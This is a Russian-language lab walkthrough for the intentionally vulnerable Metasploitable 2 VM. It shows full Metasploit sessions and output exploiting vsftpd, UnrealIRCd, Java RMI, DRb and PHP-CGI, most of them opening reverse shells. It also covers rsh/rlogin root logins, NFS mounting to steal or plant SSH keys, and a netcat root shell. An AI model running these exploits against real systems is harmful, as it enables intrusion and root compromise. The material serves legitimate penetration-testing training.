Soft Руководство по эксплуатации Metasploitable 2

Перевод: Анна Давыдова
Источник:

Metasploitable 2

Виртуальная машина Metasploitable является умышленно уязвимой версией виртуальной машины Ubuntu Linux, предназначенной для тестирования инструментов безопасности и демонстрации общих уязвимостей. Вторая версия этой виртуальной машины с большим количеством уязвимостей, чем в оригинальной версии. Эта виртуальная машина совместима с VMWare, VirtualBox, и с другими общими виртуализированными платформами. По умолчанию, интерфейсы сетей Metasploitable привязаны к NAT и Host-only сетевым адаптерам, и образ не должен никогда подвергаться воздействию враждебной сети. Т.к. эта виртуальная машина имеет множество общих уязвимостей с первой версией, я затрону только новые уязвимости в системе.

Сканирование nmap

Предварительное nmap сканирование выявляет несколько дополнительных служб по сравнению с оригинальным Metasploitable.
Код:
root@kali:~# nmap -sV -O 192.168.0.14 -p1-65535

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-14 17:35 MDT

Nmap scan report for 192.168.0.14

Host is up (0.00051s latency).

Not shown: 65505 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open tcpwrapped

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

6697/tcp open irc Unreal ircd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)

32907/tcp open unknown

40627/tcp open status 1 (RPC #100024)

41759/tcp open nlockmgr 1-4 (RPC #100021)

57859/tcp open mountd 1-3 (RPC #100005)

MAC Address: 08:00:27:E9:91:67 (Cadmus Computer Systems)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 172.46 seconds

VSFTPD


Запущенная служба VSFTPD имеет лазейку в системе, которая может быть использована для получения корневой оболочки системы. Это может быть использовано с помощью модуля .
Код:
msf > use exploit/unix/ftp/vsftpd_234_backdoor


msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.0.14 yes The target address

RPORT 21 yes The target port

Payload options (cmd/unix/interact):

Name Current Setting Required Description

---- --------------- -------- -----------

Exploit target:

Id Name

-- ----

0 Automatic

msf exploit(vsftpd_234_backdoor) > run


[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 11 opened (192.168.0.13:47287 -> 192.168.0.14:6200) at 2015-06-14 19:04:19 -0600

id

uid=0(root) gid=0(root)

GNU Classpath RMI Реестр

GNU Classpath - это набор необходимых библиотек для поддержки языка программирования Java. Эта ВМ запускает реестр удаленного объекта для GNU Classpath с помощью учетных данных по умолчанию, которые могут быть использованы, для получения оболочки на машине, используя Metasploit модуль .
Код:
msf > use exploit/multi/misc/java_

use exploit/multi/misc/java_jdwp_debugger use exploit/multi/misc/java_jmx_server use exploit/multi/misc/java_rmi_server

msf > use exploit/multi/misc/java_rmi_server

msf exploit(java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description

---- --------------- -------- -----------

HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request

RHOST 192.168.0.14 yes The target address

RPORT 1099 yes The target port

SRVHOST 192.168.0.13 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.0.13 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

msf exploit(java_rmi_server) > run

[*] Started reverse handler on 192.168.0.13:4444
[*] Using URL: http://192.168.0.13:8080/FcaoZDCI4r
[*] Server started.
[*] 192.168.0.14:1099 - Sending RMI Header...
[*] 192.168.0.14:1099 - Sending RMI Call...
[*] 192.168.0.14 java_rmi_server - Replied to request for payload JAR
[*] Sending stage (30680 bytes) to 192.168.0.14
[*] Meterpreter session 12 opened (192.168.0.13:4444 -> 192.168.0.14:43425) at 2015-06-14 19:16:03 -0600
[*] Server stopped.

meterpreter > getuid
Server username: root

Ruby DRb RMI

Сервер dRuby RMI, запущенный на системе, имеет несколько уязвимостей удаленного выполнения кода, которые могут быть использованы с помощью Metasploit модуля .
Код:
msf > use exploit/linux/misc/drb_remote_codeexec

msf exploit(drb_remote_codeexec) > show options

Module options (exploit/linux/misc/drb_remote_codeexec):

Name Current Setting Required Description

---- --------------- -------- -----------

URI druby://192.168.0.14:8787 yes The dRuby URI of the target host (druby://host:port)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.0.13 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

msf exploit(drb_remote_codeexec) > run

[*] Started reverse double handler
[*] trying to exploit instance_eval
[*] instance eval failed, trying to exploit syscall
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo bo6RvUnllxpVIVes;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "bo6RvUnllxpVIVes\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 13 opened (192.168.0.13:4444 -> 192.168.0.14:56543) at 2015-06-14 19:21:32 -0600

id

uid=0(root) gid=0(root)

Unreal IRCd

Процедура Unreal IRC, запущенная на системе, также имеет лазейку, которая может быть использована с помощью Metasploit модуля .
Код:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.0.14 yes The target address

RPORT 6667 yes The target port

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.0.13 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic Target

msf exploit(unreal_ircd_3281_backdoor) > run


[*] Started reverse double handler

[*] Connected to 192.168.0.14:6667...

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo OAMiVx8EoDcU3s4S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "OAMiVx8EoDcU3s4S\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 14 opened (192.168.0.13:4444 -> 192.168.0.14:46932) at 2015-06-14 19:36:54 -0600

id

uid=0(root) gid=0(root)

Apache httpd

PHP

Вебсервер Apache имеет установленную уязвимую версию PHP, которую можно найти, посетив /phpinfo.php.

Эта версия PHP уязвима к и может быть использована с помощью модуля Metasploit.
Код:
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
PLESK false yes Exploit Plesk
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.0.14 yes The target address
RPORT 80 yes The target port
TARGETURI no The URI to request (must be a CGI-handled PHP script)
URIENCODING 0 yes Level of URI URIENCODING and padding (0 for minimum)
VHOST no HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.13 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(php_cgi_arg_injection) > run

[*] Started reverse handler on 192.168.0.13:4444
[*] Sending stage (40499 bytes) to 192.168.0.14
[*] Meterpreter session 15 opened (192.168.0.13:4444 -> 192.168.0.14:40485) at 2015-06-14 19:42:48 -0600

meterpreter > getuid
Server username: www-data (33)

Damn Vulnerable Web Application и Mutillidae

ВМ также включает в себя и , которые являются намеренно уязвимыми вев-приложениями для демонстрации большинства из уязвимостей веб-приложений.

UNIX r-службы

службы на хосте были неправильно настроены, чтобы разрешить удаленный доступ для любого хоста без аутентификации. Мы можем использовать эти службы для выполнения команд удаленно или для соединения с корневой оболочкой на машине.
Код:
root@kali:~# rsh 192.168.0.14 id


uid=0(root) gid=0(root) groups=0(root)

root@kali:~# rsh 192.168.0.14 uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

root@kali:~# rlogin -l root 192.168.0.14

Last login: Sun Jun 14 19:14:29 EDT 2015 from :0.0 on pts/0

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686


The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.


Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.


To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

You have mail.

root@metasploitable:~# id

uid=0(root) gid=0(root) groups=0(root)

nfs служба

разрешает сетевой доступ к локальным файловым системам. nfs служба в системе позволят каждому пользователю удаленно смонтировать локальную файловую систему и получить доступ или изменить его содержание. Мы можем использовать это для перехвата авторизированных SSH ключей из системы или для записи наших собственных SSH ключей в файл authorized_keys.
Код:
root@kali:~# mkdir /tmp/sshkey

root@kali:~# mount -t nfs 192.168.0.14:/ /tmp/sshkey

root@kali:~# cat /tmp/sshkey/root/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
Это может быть использовано для слабых ключей атаки Debian OpenSSH, что детально описано в

Лазейка в Port 1524

Известный link removed запускает открытую корневую оболочку, к которой можно получить удаленный доступ просто подключившись к ним, используя любой инструмент, который вы захотите.
Код:
root@kali:~# nc 192.168.0.14 1524
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
Примечания

Хосты и веб-службы Metasploitable 2 намного уязвимей, чем в предыдущей версии. Включение DVWA и Mutillidae является очень полезным, так как они прекрасно подходят для изучения уязвимостей безопасности приложений OWASP Top 10. Однако, эта демонстрация рассматривает также ВМ, созданную для изучения общих уязвимостей а не для реального опыта пентестирования. Некоторые проблемы ВМ, с которыми вы сталкивались, можно найти на .
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!